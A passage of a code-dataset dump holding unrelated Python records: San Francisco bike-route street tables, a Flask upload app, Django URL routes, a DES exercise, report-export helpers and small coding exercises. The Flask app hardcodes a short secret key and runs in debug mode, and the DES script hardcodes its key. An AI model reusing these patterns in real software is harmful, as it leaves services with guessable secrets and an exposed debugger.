'Anza St', 'Terra Vista Ave', 'Edward St',\n 'Anza Vista Ave', 'McAllister St', 'Golden Gate Ave',\n ],\n\n [\n 'Arguello Blvd', 'Cherry St', 'Maple St', 'Spruce St',\n 'Locust St', 'Laurel St', 'Walnut St', 'Presidio Ave',\n 'Palm Ave', 'Jordan Ave', 'Commonwealth Ave', 'Parker Ave',\n 'Collins St', 'Stanyan St',\n 'Wood St', 'Beaumont Ave', 'Willard N',\n 'Baker St', \"St Joseph's Ave\"\n ],\n\n ],\n\n # I need to bike home from Crocker Amazon, fuuu\n [\n # west->east streets\n [\n 'Geneva Ave', 'Amazon Ave', 'Italy Ave', 'France Ave',\n 'Russia Ave', 'Persia Ave', 'Brazil Ave', 'Excelsior Ave',\n 'Avalon Ave', 'Silver Ave', 'Maynard St', 'Ney St',\n 'Trumbull St', 'Alemany Blvd', 'Bosworth St', 'Crescent Ave',\n 'Richland Ave', 'Park St', 'Highland Ave', 'Appleton Ave',\n 'Randall St', '30th St', 'Day St',\n '29th St', '28th St', '27th St', '26th St', '25th St', '24th St',\n '23rd St', '22nd St', '21st St', '20th St', '19th St', '18th St',\n '17th St', '16th St',\n ],\n\n # mission st, lol\n [\n 'Mission St', 'Dolores St'\n ],\n ],\n\n # Ashbury Heights / Duboce Triangle / Frederick Knob\n\n [\n # west->east streets\n [\n 'Beulah St', 'Frederick St', 'Carl St', 'Parnassus Ave',\n 'Grattan St', 'Alma St', 'Rivoli St',\n 'Duboce Ave', 'Hermann St', 'Germania St', 'Henry St',\n '14th St', '15th St', '16th St', '17th St'\n ],\n\n # north->south streets\n [\n '4th Ave', '3rd Ave', 'Hillway Ave', 'Willard St', 'Arguello Blvd',\n 'Stanyan St', 'Shrader St', 'Cole St', 'Belvedere St', 'Clayton St',\n 'Downey St', 'Ashbury St', 'Delmar St', 'Masonic Ave',\n 'Divisadero St', 'Castro St', 'Scott St', 'Noe St', 'Steiner St',\n 'Sanchez St', 'Fillmore St', 'Church St', 'Webster St', 'Buchanan St',\n 'Laguna St'\n ],\n ['Market St'],\n ],\n\n # SOMA\n [\n # northwest->southeast streets\n [\n 'Steuart St', 'Spear St',\n 'Main St', 'Beale St', 'Fremont St',\n '1st St', '2nd St', 'New Montgomery St', '3rd St',\n '4th St', '5th St', '6th St', '7th St', '8th St',\n '9th St', '10th St', '11th St', '12th St'\n ],\n\n # northeast->southwest streets\n [\n 'Market St', 'Mission St', 'Howard St',\n 'Folsom St', 'Harrison St', 'Bryant St', 'Brannan St',\n 'Townsend St', 'King St'\n ],\n\n ['Van Ness Ave', 'The Embarcadero'],\n\n ],\n\n # The Mission\n [\n # west->east streets\n [\n 'Duboce Ave', 'Division St', '14th St', 'Alameda St',\n '15th St', '16th St', '17th St', '18th St', 'Mariposa St',\n '19th St', '20th St', '21st St', '22nd St', '23rd St', '24th St',\n '25th St', '26th St', 'Cesar Chavez St', '27th St', '28th St',\n 'Clipper St', 'Elizabeth St', '29th St', 'Day St', '30th St',\n # weird noe streets\n 'Jersey St', 'Duncan St', 'Alvarado St',\n ],\n\n # north->south streets\n [\n 'Douglass St', 'Diamond St', 'Collingwood St', 'Castro St',\n 'Noe St', 'Sanchez St', 'Church St', 'Dolores St', 'Guerrero St',\n 'Valencia St', 'Mission St', 'Capp St', 'Van Ness Ave', 'Shotwell St',\n 'Folsom St', 'Harrison St', 'Alabama St', 'Florida St', 'Bryant St',\n 'York St', 'Hampshire St', 'Potrero Ave', 'Utah St', 'Vermont St',\n 'Kansas St', 'Rhode Island St', 'De Haro St', 'Carolina St',\n 'Arkansas St', 'Connecticut St', 'Missouri St', 'Mississippi St',\n 'Pennsylvania Ave', 'Indiana St', 'Minnesota St', 'Tennessee St',\n '3rd St', 'Illinois St', 'Chattanooga St',\n # more small streets\n 'Bartlett St', 'Fair Oaks St', 'Wisconsin St', 'Texas St',\n ],\n\n ],\n\n]\n\nbreaks = {\n\n ##################\n # west -> east streets\n # BREAKS ON WEST SIDE\n ##################\n '19th St': set(['Church St']),\n '22nd St': set(['Potrero Ave', 'Missouri St']),\n '26th St': set(['Connecticut St']),\n 'Anza St': set(['32nd Ave']),\n 'Bay St': set(['Scott St']),\n 'Beach St': set(['Buchanan St']),\n 'Clay St': set(['Laguna St']),\n 'Ellis St': set(['Webster St']),\n 'Francisco St': set(['Polk St', 'Hyde St', 'Leavenworth St', 'Scott St']),\n 'Golden Gate Ave': set(['Stanyan St']),\n 'Grove St': set(['Scott St']),\n 'Jefferson St': set(['Scott St', 'Webster St']),\n 'Mason St': set(['Marina Blvd']),\n 'McAllister St': set(['Parker Ave']),\n 'North Point St': set(['Scott St', 'Laguna St']),\n \"O'Farrell St\": set(['Pierce St', 'Webster St']),\n 'Pacheco St': set(['28th Ave', '41st Ave']),\n 'Rivera St': set(['24th Ave']),\n 'Quintara St': set(['39th Ave']),\n 'Vallejo St': set(['Leavenworth St', 'Jones St', 'Taylor St']),\n 'Waller St': set(['Central Ave']),\n 'Washington St': set(['Scott St']),\n\n\n ##############################\n # south -> north streets\n # BREAKS ON SOUTH SIDE\n ##############################\n 'Ashbury St': set(['Oak St']),\n 'Buchanan St': set(['Eddy St', 'Chestnut St']),\n 'Castro St': set(['Duncan St']),\n 'Central Ave': set(['Oak St']),\n 'Clayton St': set(['Oak St']),\n 'Cole St': set(['Oak St']),\n 'Connecticut St': set(['25th St']),\n 'Hampshire St': set(['17th St']),\n 'Larkin St': set(['Chestnut St']),\n 'Lyon St': set(['Turk Blvd', 'Oak St', 'Bay St']),\n 'Mississippi St': set(['Cesar Chavez St', '25th St']),\n 'Missouri St': set(['Cesar Chavez St']),\n 'Octavia St': set(['Sacramento St', 'Golden Gate Ave', 'Post St']),\n 'Pierce St': set(['Clay St', 'Hayes St']),\n 'Shrader St': set(['Oak St']),\n 'Texas St': set(['25th St']),\n 'Utah St': set(['23rd St']),\n 'Vermont St': set(['23rd St']),\n 'Webster St': set(['Chestnut St']),\n 'York St': set(['Mariposa St']),\n\n\n # The Aves (and arguello/funston, lol)\n 'Arguello Blvd': set(['Frederick St']),\n '2nd Ave': set(['Lincoln Way']),\n '3rd Ave': set(['Lincoln Way']),\n '4th Ave': set(['Kirkham St', 'Lincoln Way']),\n '5th Ave': set(['Lincoln Way']),\n '6th Ave': set(['Lincoln Way']),\n '7th Ave': set(['Lincoln Way']),\n '8th Ave': set(['Lincoln Way']),\n '9th Ave': set(['Lincoln Way']),\n '10th Ave': set(['Lincoln Way']),\n '11th Ave': set(['Lincoln Way']),\n '12th Ave': set(['Lincoln Way']),\n 'Funston Ave': set(['Lincoln Way']),\n '14th Ave': set(['Lincoln Way']),\n '15th Ave': set(['Lincoln Way', 'Lawton St']),\n '16th Ave': set(['Lincoln Way', 'Lawton St']),\n '17th Ave': set(['Lincoln Way']),\n '18th Ave': set(['Lincoln Way']),\n '19th Ave': set(['Lincoln Way']),\n '20th Ave': set(['Lincoln Way']),\n '21st Ave': set(['Lincoln Way']),\n '22nd Ave': set(['Lincoln Way']),\n '23rd Ave': set(['Lincoln Way', 'Taraval St', 'Santiago St']),\n '24th Ave': set(['Lincoln Way']),\n '25th Ave': set(['Lincoln Way', 'Quintara St']),\n '26th Ave': set(['Lincoln Way', 'Quintara St']),\n '27th Ave': set(['Lincoln Way', 'Quintara St']),\n '28th Ave': set(['Lincoln Way']),\n '29th Ave': set(['Lincoln Way']),\n '30th Ave': set(['Lincoln Way']),\n '31st Ave': set(['Lincoln Way', 'Balboa St']),\n '32nd Ave': set(['Lincoln Way']),\n '33rd Ave': set(['Lincoln Way']),\n '34th Ave': set(['Lincoln Way']),\n '35th Ave': set(['Lincoln Way']),\n '36th Ave': set(['Lincoln Way']),\n '37th Ave': set(['Lincoln Way']),\n '38th Ave': set(['Lincoln Way', 'Rivera St']),\n '39th Ave': set(['Lincoln Way', 'Quintara St']),\n '40th Ave': set(['Lincoln Way', 'Quintara St']),\n '41st Ave': set(['Lincoln Way']),\n '42nd Ave': set(['Lincoln Way']),\n '43rd Ave': set(['Lincoln Way']),\n '44th Ave': set(['Lincoln Way']),\n '45th Ave': set(['Lincoln Way']),\n '46th Ave': set(['Lincoln Way']),\n '47th Ave': set(['Lincoln Way']),\n '48th Ave': set(['Lincoln Way']),\n 'La Playa St': set(['Lincoln Way']),\n}\n\n\n\n# For curved roads, where we will need to call the google maps\n# directions API, define which parts of which paths are curved.\n# WEST -> EAST\n# SOUTH -> NORTH\ncurved_roads = {\n 'Lawton St': [('16th Ave', 'Funston Ave')],\n '15th Ave': [('Noriega St', 'Lawton St')],\n 'Clayton St': [('Market St', '17th St')],\n 'Market St': [('Clayton St', 'Castro St')],\n 'Marina Blvd': [('Fillmore St', 'Webster St')],\n}\n\n# These will be copied straight into the paths json object.\n# All addresses in the paths will be looked up and given NEXT\n# attributes.\ncustom_paths = {\n 'The Panhandle / SF Bike Route 30': {\n 'path': [\n 'Baker St and Fell St',\n 'San Francisco Bicycle Route 30 and Masonic Ave',\n 'Kezar Dr and Stanyan St',\n 'Kezar Dr and John F Kennedy Dr',\n 'John F Kennedy Dr and Conservatory Dr East',\n 'John F Kennedy Dr and Nancy Pelosi Dr',\n 'John F Kennedy Dr and Conservatory Dr West',\n '360 John F Kennedy Dr',\n 'John F Kennedy Dr and 8th Ave',\n 'John F Kennedy Dr and Hagiwara Tea Garden Dr',\n '802 10th Ave',\n 'John F Kennedy Dr and Stow Lake Dr',\n 'John F Kennedy Drive and Transverse Dr',\n '750 John F Kennedy Dr',\n ],\n 'type': 'path',\n },\n 'SF Bike Route 30 / JFK Dr to Ocean Beach': {\n 'path': [\n '750 John F Kennedy Dr',\n 'John F Kennedy Drive and 30th Ave',\n 'John F Kennedy Drive and 36th Ave',\n 'John F Kennedy Drive and Chain of Lakes Dr East',\n 'John F Kennedy Drive and Chain of Lakes Dr West',\n 'John F Kennedy Drive and South Fork Dr',\n 'John F Kennedy Drive and 47th Ave',\n 'John F Kennedy Drive and Great Highway',\n ],\n 'type': 'route'\n },\n 'Kezar Drive Panhandle to Sunset': {\n 'path': [\n 'Kezar Dr and John F Kennedy Dr',\n '700 Kezar Dr',\n 'Kezar Dr and Lincoln Way',\n ],\n 'type': 'path',\n },\n '20th Ave Sunset to Richmond': {\n 'path': [\n '20th Ave and Lincoln Way',\n '700 Martin Luther King Junior Dr',\n 'Transverse Dr and San Francisco Bicycle Route 34',\n 'John F Kennedy Drive and Transverse Dr',\n '399 Transverse Dr',\n '22nd Ave and Fulton St',\n ],\n 'type': 'route',\n },\n 'SF Bike Route 34 / MLK and Middle Drives': {\n 'path': [\n 'Transverse Dr and San Francisco Bicycle Route 34',\n 'Middle Drive West and Overlook Drive',\n 'Middle Drive West and Metson Rd',\n 'Middle Drive West and Martin Luther King Junior Dr',\n 'Martin Luther King Junior Dr and Chain of Lakes Dr East',\n 'Martin Luther King Junior Dr and South Fork Dr',\n 'La Playa St and Lincoln Way',\n ],\n 'type': 'route',\n },\n 'MLK to JFK on South Fork Dr': {\n 'path': [\n 'Martin Luther King Junior Dr and South Fork Dr',\n 'John F Kennedy Drive and South Fork Dr',\n ],\n 'type': 'route',\n },\n '8th Ave into GGP': {\n 'path': [\n 'Fulton St and 8th Ave',\n 'John F Kennedy Dr and 8th Ave',\n ],\n 'type': 'route',\n },\n 'Sunset Blvd into GGP': {\n 'path': [\n 'Sunset Blvd and Irving St',\n '3600 Lincoln Way',\n '1276 Martin Luther King Junior Dr',\n ],\n 'type': 'route',\n },\n\n # Connectors for streets that change names.\n 'Lincoln Way to Frederick St': {\n 'path': [\n '2nd Ave and Lincoln Way',\n 'Arguello Blvd and Frederick St',\n ],\n },\n 'Hyde/Grove to 8th/Mission': {\n 'path': [\n 'Hyde St and Grove St',\n '8th St and Mission St',\n ],\n 'type': 'path'\n },\n 'Judah St to Parnassus Ave': {\n 'path': [\n '5th Ave and Judah St',\n '4th Ave and Parnassus Ave',\n ],\n },\n}\n\n\n# Define bike paths, bike routes, here!\n# WEST -> EAST\n# SOUTH -> NORTH\nroute_directives = [\n # 4 francisco\n ('Francisco St', [('Octavia St', 'Polk St', 'path')]),\n # 5 embarc\n ('The Embarcadero', [('King St', 'Kearny St', 'path')]),\n # 6 greenwich, green\n ('Greenwich St', [('Lyon St', 'Octavia St', 'route')]),\n ('Green St', [('Octavia St', 'Polk St', 'route')]),\n # 10 clement, 30th, lake, sacramento, clay, webster, broadway\n ('Clement St', [('45th Ave', '30th Ave', 'route')]),\n ('30th Ave', [('Clement St', 'Lake St', 'route')]),\n ('Lake St', [('30th Ave', '28th Ave', 'route'), ('28th Ave', 'Arguello Blvd', 'path')]),\n ('Sacramento St', [('Arguello Blvd', 'Cherry St', 'route')]),\n ('Cherry St', [('Sacramento St', 'Clay St', 'route')]),\n ('Clay St', [('Cherry St', 'Webster St', 'route')]),\n ('Webster St', [('Clay St', 'Broadway St', 'route')]),\n ('Broadway St', [('Webster St', 'The Embarcadero', 'route')]),\n # 11 columbus\n ('Columbus Ave', [('North Point St', 'Montgomery St', 'route')]),\n # 11 2nd\n ('2nd St', [('Market St', 'King St', 'route')]),\n # 16 sutter\n ('Sutter St', [('Steiner St', 'Sansome St', 'route')]),\n # 16 post\n ('Post St', [('Presidio Ave', 'Steiner St', 'path'), ('Steiner St', 'Montgomery St', 'route')]),\n # 19 5th\n ('5th St', [('Market St', 'Townsend St', 'route')]),\n # 20 cabrillo\n ('Cabrillo St', [('La Playa St', 'Arguello Blvd', 'path')]),\n # 20 turk\n ('Turk Blvd', [('Arguello Blvd', 'Masonic Ave', 'path')]),\n # 20 mcallister\n ('McAllister St', [('Masonic Ave', '7th St', 'route')]),\n # 23 7th\n ('7th St', [('McAllister St', 'Market St', 'route'), ('Market St', 'Townsend St', 'path')]),\n # 23 8th\n ('8th St', [('Mission St', 'Townsend St', 'path')]),\n # 25 Polk\n ('Polk St', [('Market St', 'Post St', 'path'), ('Post St', 'Union St', 'route'), ('Union St', 'Beach St', 'path')]),\n # 25 Potrero\n ('Potrero Ave', [('25th St', '17th St', 'path')]),\n # 30 14th\n ('14th St', [('Sanchez St', 'Church St', 'route'), ('Church St', 'Folsom St', 'path'), ('Folsom St', 'Harrison St', 'route')]),\n # 30 Market\n ('Market St', [('Castro St', 'Hayes St', 'path'), ('Hayes St', 'Steuart St', 'route')]),\n # 30 Wiggle\n ('Hayes St', [('Broderick St', 'Scott St', 'route')]),\n ('Fell St', [('Baker St', 'Scott St', 'path')]),\n ('Scott St', [('Haight St', 'Fell St', 'path')]),\n ('Haight St', [('Scott St', 'Pierce St', 'route')]),\n ('Pierce St', [('Waller St', 'Haight St', 'route')]),\n ('Waller St', [('Pierce St', 'Steiner St', 'route')]),\n ('Steiner St', [('Duboce Ave', 'Waller St', 'route')]),\n ('Duboce Ave', [('Steiner St', 'Webster St', 'route'), ('Webster St', 'Market St', 'path')]),\n # 30 SOMA\n ('Folsom St', [('14th St', 'The Embarcadero', 'path')]),\n ('Howard St', [('11th St', 'Fremont St', 'path'), ('Fremont St', 'The Embarcadero', 'route')]),\n # 32 Page\n ('Page St', [('Stanyan St', 'Franklin St', 'route')]),\n # 33 Harrison\n ('Harrison St', [('Cesar Chavez St', '26th St', 'path'), ('26th St', '23rd St', 'route'), ('23rd St', '11th St', 'path')]),\n # 40 17th\n ('17th St', [('Douglass St', 'Kansas St', 'route')]),\n # 40 Kirkham\n ('Kirkham St', [('Great Highway', '6th Ave', 'route')]),\n # 44 Jersey / Chattanooga / 22nd\n ('Jersey St', [('Diamond St', 'Chattanooga St', 'route')]),\n ('Chattanooga St', [('Jersey St', '22nd St', 'route')]),\n ('22nd St', [('Chattanooga St', 'Potrero Ave', 'route')]),\n # 45 Steiner\n ('Steiner St', [('Fulton St', 'Greenwich St', 'route')]),\n # 45 Valencia\n ('Valencia St', [('Cesar Chavez St', 'Duboce Ave', 'path')]),\n # 47 Sanchez\n ('Sanchez St', [('17th St', '14th St', 'route')]),\n # 60 Vicente\n ('Vicente St', [('Great Highway', '14th Ave', 'route')]),\n # 60 Cesar Chavez\n ('Cesar Chavez St', [('Sanchez St', 'Mississippi St', 'route'), ('Mississippi St', '3rd St', 'path'), ('3rd St', 'Illinois St', 'route')]),\n # 65 Arguello\n ('Arguello Blvd', [('Fulton St', 'Jackson St', 'path')]),\n # 69 15th Ave\n ('15th Ave', [('Cabrillo St', 'Lake St', 'route')]),\n # 75 20th Ave\n ('20th Ave', [('Vicente St', 'Lincoln Way', 'route')]),\n # 75 23rd Ave\n ('23rd Ave', [('Lincoln Way', 'Lake St', 'route')]),\n # 85 34th Ave\n ('34th Ave', [('Vicente St', 'Irving St', 'route'), ('Cabrillo St', 'Clement St', 'route')]),\n ('Irving St', [('Sunset Blvd', '34th Ave', 'route')]),\n # 95 great highway\n ('Great Highway', [('Vicente St', 'Fulton St', 'path'), ('Fulton St', 'Balboa St', 'route')]),\n # 106 octavia\n ('Octavia St', [('Green St', 'Bay St', 'route')]),\n # 330 8th Ave\n ('8th Ave', [('Fulton St', 'Lake St', 'route')]),\n # townsend to caltrain\n ('Townsend St', [('8th St', '2nd St', 'path')]),\n]\n\ntbds = {\n}\n\n# Notes\n# 8th and Market doesn't show up correctly via Google Maps API.\n","sub_path":"united-states/california/san-francisco/sf.py","file_name":"sf.py","file_ext":"py","file_size_in_byte":22752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"577856359","text":"from flask import Flask, request\r\nfrom werkzeug.utils import secure_filename\r\nimport os\r\nimport requests\r\n\r\nUPLOAD_FOLDER = 'static/uploads/'\r\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'txt', 'pdf'])\r\n\r\napp = Flask(__name__)\r\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\r\napp.config['ALLOWED_EXTENSIONS'] = ALLOWED_EXTENSIONS\r\napp.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024\r\napp.config['SECRET_KEY'] = '16557'\r\n\r\n\r\ndef allowed_file(filename):\r\n return '.' in filename and \\\r\n filename.rsplit('.',1)[1] in ALLOWED_EXTENSIONS\r\n\r\n@app.route('/')\r\ndef hello_world():\r\n return 'Welcome to this site, William Ji authorized!'\r\n\r\n@app.route('/upload', methods=['POST'])\r\ndef upload():\r\n upload_file = request.files['file']\r\n if upload_file and allowed_file(upload_file.filename):\r\n filename = secure_filename(upload_file.filename)\r\n upload_file.save(os.path.join(app.root_path, app.config['UPLOAD_FOLDER'], filename))\r\n return 'Hi, '+request.form.get('name', 'BANANA')+'. success'\r\n else:\r\n return 'Hi '+request.form.get('name', 'BANANA')+'. failed'\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n\r\n","sub_path":"Pyflask/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"638152242","text":"import math\n\n\ndef _get_content(content, line_length):\n left = math.floor((line_length - len(content)) / 2) * ' '\n right = math.ceil((line_length - len(content)) / 2) * ' '\n return left + content + right\n\n\ndef _max_length(header: str, cells) -> int:\n max_length = len(header)\n for cell in cells:\n for row in cell:\n length = len(row)\n if length > max_length:\n max_length = length\n return max_length\n\n\ndef get_table_display(header: str, cells):\n \"\"\"\n Convert the input data into a table with centered text\n :param header: the header of the table\n :param cells: the different cells. A cell is a set of rows\n :return:\n \"\"\"\n line_length = _max_length(header, cells) + 2\n\n content = [\n ('+' + (line_length * '-') + '+'),\n ('|' + _get_content(header, line_length) + '|'),\n ('+' + (line_length * '-') + '+')\n ]\n\n for cell in cells:\n for row in cell:\n content.append('|' + _get_content(row, line_length) + '|')\n content.append('+' + (line_length * '-') + '+')\n return '\\n'.join(content)\n","sub_path":"ddb/utils/table_display.py","file_name":"table_display.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"400194286","text":"from django.urls import path\n\nfrom . import views\n\napp_name = 'home'\n\nurlpatterns = [\n path(\n 'events/',\n views.EventListView.as_view(),\n name='event-list'\n ),\n path(\n 'events//',\n views.EventDetailView.as_view(),\n name='event-detail'\n ),\n path(\n 'events//attend/',\n views.AttendEventView.as_view(),\n name='attend-event'\n ),\n path(\n 'news/',\n views.NewsListView.as_view(),\n name='news-list'\n ),\n path(\n 'news//',\n views.NewsDetailView.as_view(),\n name='news-detail'\n ),\n path(\n 'notes/',\n views.NoteListView.as_view(),\n name='note-list'\n ),\n path(\n 'notes//',\n views.NoteDetailView.as_view(),\n name='note-detail'\n ),\n path(\n 'admin/event//',\n views.admin_event_attendance,\n name='admin-event-attendance'\n )\n]\n","sub_path":"csthome/home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"532476965","text":"import argparse\nimport sys\n\nimport libs.DESHelper as helper\nimport libs.getIP as getIP\n\nKEY = '0001001100110100010101110111100110011011101111001101111111110001'\ndef main():\n '''parser = argparse.ArgumentParser(\"DES with mode \")\n parser.add_argument('-m', '--mode', help='Mode encrypt or decrypt', required=True)\n parser.add_argument('-k', '--key', help='Key', required=False)\n parser.add_argument('-mess', '--mess', help='Messenger', required=True)\n\n if len(sys.argv) == 1:\n parser.print_help()\n sys.exit(1)\n\n args = parser.parse_args()\n\n mode = args.mode\n key = args.key\n if (key == ''):\n key = KEY\n\n mess = args.mess\n '''\n mode = 'encrypt'\n if mode == 'encrypt':\n encryptEDS(mess = '16 2 42 52 63 59 64 69', key = KEY)\n else:\n '''decryptDES(mess = mess, key = key)'''\n\ndef encryptEDS(mess, key):\n\n messBin = getIP.EnCryptIP(helper.convertToBinary(mess))\n arrkey = helper.createChildKey(key)\n\n result = helper.encrypt(messBin, arrkey)\n\n print ('Ban ma: '+ result)\n\n\n\n'''def decryptDES(mess, key): '''\n\nif __name__ == \"__main__\":\n main()","sub_path":"source/DES.py","file_name":"DES.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"324858926","text":"import csv\nfrom cStringIO import StringIO\nimport json\n\nfrom blingalytics import get_report_by_code_name\nfrom blingalytics.caches import cache_connection, local_cache\n\n\n# Default cache if none specified (only load sqlite3 if using it)\nDEFAULT_CACHE = local_cache.LocalCache()\n\n\n@cache_connection\ndef report_response(params, runner=None, cache=DEFAULT_CACHE):\n \"\"\"\n This frontend helper function is meant to be used in your\n request-processing code to handle all AJAX responses to the Blingalytics\n JavaScript frontend.\n\n In its most basic usage, you just pass in the request's GET parameters\n as a ``dict``. This will run the report, if required, and then pull the\n appropriate data. It will return a tuple of three values:\n\n * The response body content, as a string\n * The response mimetype, as a string\n * A dict of header values to be sent in the response\n\n Your request-processing code should return the described response. The\n function also accepts two options:\n\n ``runner`` *(optional)*\n If you want your report to run asynchronously so as not to tie up\n your web server workers while processing requests, you can specify a\n runner function. This should be a function that will initiate your\n async processing on a tasks machine or wherever. It will be passed\n two arguments: the report code_name, as a string; and the remaining\n GET parameters so you can process user inputs. By default, no runner\n is used.\n\n ``cache`` *(optional)*\n By default, this will use a local cache stored at\n ``/tmp/blingalytics_cache``. If you would like to use a different\n cache, simply provide the cache instance.\n \"\"\"\n # Find and instantitate the report class\n if hasattr(params, 'iterlists'):\n params = dict([\n (key, (values if len(values) > 1 else values[0]))\n for key, values in params.iterlists()\n ])\n params = dict((k, v) for k, v in params.items())\n report_code_name = params.pop('report', None)\n if not report_code_name:\n return (json.dumps({'errors': ['Report code name not specified.']}),\n 'application/javascript', {})\n report_cls = get_report_by_code_name(report_code_name)\n if not report_cls:\n return (json.dumps({'errors': ['Specified report not found.']}),\n 'application/javascript', {})\n report = report_cls(cache)\n\n # Return immediately for metadata request\n if params.pop('metadata', False):\n return (json.dumps({\n 'errors': [],\n 'widgets': report.render_widgets(),\n 'header': report.report_header(),\n 'default_sort': report.default_sort,\n }), 'application/javascript', {})\n\n # Process user inputs\n errors = report.clean_user_inputs(**params)\n if errors:\n return (json.dumps({\n 'errors': [str(error) for error in errors],\n }), 'application/javascript', {})\n\n # Clear cache if requested\n if params.get('killcache', False):\n report.kill_cache()\n return (json.dumps({\n 'errors': [],\n }), 'application/javascript', {})\n\n # Run the report, either synchronously or not, if needed\n if not report.is_report_finished():\n if runner:\n if not report.is_report_started():\n runner(report_code_name, params)\n return (json.dumps({\n 'errors': [],\n 'poll': True,\n }), 'application/javascript', {})\n else:\n report.run_report()\n\n # Return full report as downloadable csv if format requested\n if params.get('format') == 'csv':\n if params.get('download', False):\n output = StringIO()\n writer = csv.writer(output)\n writer.writerow([report.display_name])\n writer.writerow(['Timestamp: %s' % report.report_timestamp()\n .strftime('%m-%d-%Y %I:%M %p UTC')])\n writer.writerow([])\n header = report.report_header()\n writer.writerow(filter(\n lambda a: a is not None,\n map(\n lambda a: a['label'] if not a.get('hidden') else None,\n header\n )\n ))\n for row in report.report_rows(format='csv'):\n writer.writerow(map(\n lambda a: a[1],\n filter(lambda a: not a[0].get('hidden'), zip(header, row))\n ))\n return (output.getvalue(), 'text/csv', {\n 'Content-Disposition': 'attachment; filename=\"%s.csv\"' \\\n % report.display_name\n })\n else:\n return (json.dumps({\n 'errors': [],\n 'poll': False,\n }), 'application/javascript', {})\n\n # Return report data\n offset = int(params.get('iDisplayStart'))\n limit = int(params.get('iDisplayLength'))\n sort_col = params.get('iSortCol_0')\n if sort_col:\n sort_col = report.columns[int(sort_col) - 1][0]\n else:\n sort_col = report.default_sort[0]\n sort_dir = str(params.get('sSortDir_0', report.default_sort[1]))\n sort = (sort_col, sort_dir)\n echo = int(params.get('sEcho'))\n return (json.dumps({\n 'errors': [],\n 'poll': False,\n 'iTotalRecords': report.report_row_count(),\n 'iTotalDisplayRecords': report.report_row_count(),\n 'sEcho': str(echo),\n 'aaData': report.report_rows(sort=sort, limit=limit, offset=offset),\n 'footer': report.report_footer(),\n }), 'application/javascript', {})\n","sub_path":"blingalytics/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":5624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"138219542","text":"# Exercício Python 054: Crie um programa que leia o ano de nascimento de sete pessoas. No final, mostre quantas pessoas ainda não atingiram a maioridade e quantas já são maiores.\n\nfrom datetime import date\n\nyeartoday = date.today().year\nyounger = 0\nolder = 0\nolderYears = []\nyoungerYear = []\nfor c in range(1, 4):\n year = int(input('Digite o ano de nascimento: '))\n age = yeartoday - year\n if age >= 18:\n older += 1\n olderYears.append(year)\n else:\n younger += 1\n youngerYear.append(year)\nprint('Existem {} maiores que são os nascidos em {} e {} menores que são os nascidos em {}.' .format(older, olderYears, younger, youngerYear))\n\n","sub_path":"desafio054.py","file_name":"desafio054.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"371951387","text":"#comment added\ndef wallet(open):\n balance = open\n\n def deposit(amount):\n nonlocal balance\n balance = balance + amount\n print(\"Your balance\", balance)\n\n def withdraw(amount):\n nonlocal balance\n if amount > balance:\n print(\"Not enough balance\")\n return False\n else:\n print(\"Final balance after withdrawing\", amount)\n balance = balance - amount\n print(\"Your balance\", balance)\n return True\n\n def showbalance():\n nonlocal balance\n print(\"Your account balance\", balance)\n\n return {\"deposit\": deposit, \"withdraw\": withdraw, \"showbalance\": showbalance}\n\n\ndef transfer(w1, amount, w2):\n if w1[\"withdraw\"](amount):\n w2[\"deposit\"](amount)\n\n\nwallet1 = wallet(500)\nwallet2 = wallet(2000)\n\n\nprint(\"Wallet 1 functions started\", end=\"\\n\\n\")\nwallet1[\"deposit\"](100)\nwallet1[\"withdraw\"](1000)\nwallet1[\"withdraw\"](200)\nwallet1[\"showbalance\"]()\n\nprint(\"Wallet 1 functions completed\", end=\"\\n\\n\")\n\nprint(\"Wallet 2 functions started\", end=\"\\n\\n\")\nwallet2[\"deposit\"](100)\nwallet2[\"withdraw\"](1000)\nwallet2[\"withdraw\"](200)\nwallet2[\"showbalance\"]\nprint(\"Wallet 2 functions completed\", end=\"\\n\\n\")\n\nprint(\"Transfer Start\")\ntransfer(wallet1, 200, wallet2)\n","sub_path":"wallet.py","file_name":"wallet.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"220825844","text":"# Libraries Included:\n# Numpy, Scipy, Scikit, Pandas\n# Given a sorted array nums, remove the duplicates in-place such that \n# each element appear only once and return the new # length.\n\n# Do not allocate extra space for another array, \n# you must do this by modifying the input array in-place with O(1) extra # memory.\n\n\n# examples\n # remvoeDuplicates([0,0,1,2,3,3,3,4]) returns 5\n # and should alter the array to be [0,1,2,3,4,whatever,whatever,whatever])\n\ndef removeDuplicates(nums):\n \n count = 1\n index = 1\n replaceIndex = 1\n N = len(nums)\n \n while index < N:\n \n if nums[index] != nums[index-1]:\n nums[replaceIndex] = nums[index]\n print(\"nums after swap\",nums)\n replaceIndex += 1\n count += 1\n \n # always increase the index \n index += 1\n \n print(nums)\n return count\n\n# r = removeDuplicates([1,1,2])\nr = removeDuplicates([0,0,1,1,1,1,1,1,2,2,3,4,5])\nprint(r)\n\n# leetcodes answer\ndef leetCodeRemoveDuplicates(nums):\n if len(nums) == 0: \n return 0\n i = 0\n for j in range(len(nums)):\n if nums[j] != nums[i]:\n i+=1\n nums[i] = nums[j]\n\n return 